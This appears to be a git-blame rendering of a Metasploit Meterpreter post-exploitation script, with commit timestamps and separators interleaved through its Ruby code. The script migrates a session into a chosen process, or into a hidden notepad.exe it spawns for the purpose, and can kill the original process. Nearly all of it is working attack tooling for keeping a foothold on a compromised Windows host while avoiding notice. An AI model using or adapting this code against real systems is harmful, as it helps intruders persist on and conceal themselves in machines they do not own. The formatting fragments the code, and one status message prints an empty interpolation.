2009-10-26 15:14:28 +00:00
|
|
|
# $Id$
|
2011-10-23 11:56:13 +00:00
|
|
|
# $Revision$
|
2006-09-19 03:15:25 +00:00
|
|
|
#
|
2010-05-03 17:13:09 +00:00
|
|
|
# Simple example script that migrates to a specific process by name.
|
2006-09-19 03:15:25 +00:00
|
|
|
# This is meant as an illustration.
|
|
|
|
#
|
|
|
|
|
2011-10-07 01:32:44 +00:00
|
|
|
|
2009-12-15 05:10:33 +00:00
|
|
|
spawn = false
|
2011-10-07 01:27:13 +00:00
|
|
|
kill = false
|
|
|
|
target_pid = nil
|
2009-12-15 05:10:33 +00:00
|
|
|
|
2009-11-04 16:35:51 +00:00
|
|
|
opts = Rex::Parser::Arguments.new(
|
2011-10-07 01:32:44 +00:00
|
|
|
"-h" => [ false, "Help menu." ],
|
2011-10-07 01:27:13 +00:00
|
|
|
"-f" => [ false, "Launch a process and migrate into the new process"],
|
|
|
|
"-p" => [ true , "PID to migrate to."],
|
2011-10-07 01:32:44 +00:00
|
|
|
"-k" => [ false, "Kill original process."]
|
2009-11-04 16:35:51 +00:00
|
|
|
)
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
2009-12-15 05:10:33 +00:00
|
|
|
when "-f"
|
|
|
|
spawn = true
|
2011-10-07 01:27:13 +00:00
|
|
|
when "-k"
|
|
|
|
kill = true
|
|
|
|
when "-p"
|
|
|
|
target_pid = val.to_i
|
2009-11-04 16:35:51 +00:00
|
|
|
when "-h"
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
2009-12-15 05:10:33 +00:00
|
|
|
else
|
2011-10-07 01:27:13 +00:00
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
2009-11-04 16:35:51 +00:00
|
|
|
end
|
|
|
|
}
|
|
|
|
|
2011-10-07 01:27:13 +00:00
|
|
|
# Creates a temp notepad.exe to migrate to depending the architecture.
|
|
|
|
def create_temp_proc()
|
|
|
|
sysinfo = client.sys.config.sysinfo
|
|
|
|
windir = client.fs.file.expand_path("%windir%")
|
|
|
|
# Select path of executable to run depending the architecture
|
|
|
|
if sysinfo['Architecture'] =~ /x86/
|
|
|
|
cmd = "#{windir}\\System32\\notepad.exe"
|
|
|
|
else
|
|
|
|
cmd = "#{windir}\\Sysnative\\notepad.exe"
|
|
|
|
end
|
|
|
|
# run hidden
|
|
|
|
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
|
|
|
return proc.pid
|
|
|
|
end
|
2011-10-07 01:32:44 +00:00
|
|
|
# In case no option is provided show help
|
|
|
|
if args.length == 0
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
|
|
|
|
### Main ###
|
2006-09-19 03:15:25 +00:00
|
|
|
|
2010-09-09 16:09:27 +00:00
|
|
|
if client.platform =~ /win32|win64/
|
|
|
|
server = client.sys.process.open
|
2011-10-07 01:27:13 +00:00
|
|
|
original_pid = server.pid
|
2010-09-09 16:09:27 +00:00
|
|
|
print_status("Current server process: #{server.name} (#{server.pid})")
|
2006-09-19 03:15:25 +00:00
|
|
|
|
2011-10-07 01:27:13 +00:00
|
|
|
if spawn
|
|
|
|
print_status("Spawning notepad.exe process to migrate to")
|
|
|
|
target_pid = create_temp_proc
|
2009-12-15 05:10:33 +00:00
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2011-10-07 01:27:13 +00:00
|
|
|
begin
|
|
|
|
print_good("Migrating to #{target_pid}")
|
|
|
|
client.core.migrate(target_pid)
|
|
|
|
print_good("Successfully migrated to process #{}")
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Could not migrate in to process.")
|
|
|
|
print_error(e)
|
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2011-10-07 01:27:13 +00:00
|
|
|
if kill
|
|
|
|
print_status("Killing original process with PID #{original_pid}")
|
|
|
|
client.sys.process.kill(original_pid)
|
|
|
|
print_good("Successfully killed process with PID #{original_pid}")
|
|
|
|
end
|
2006-09-19 03:15:25 +00:00
|
|
|
end
|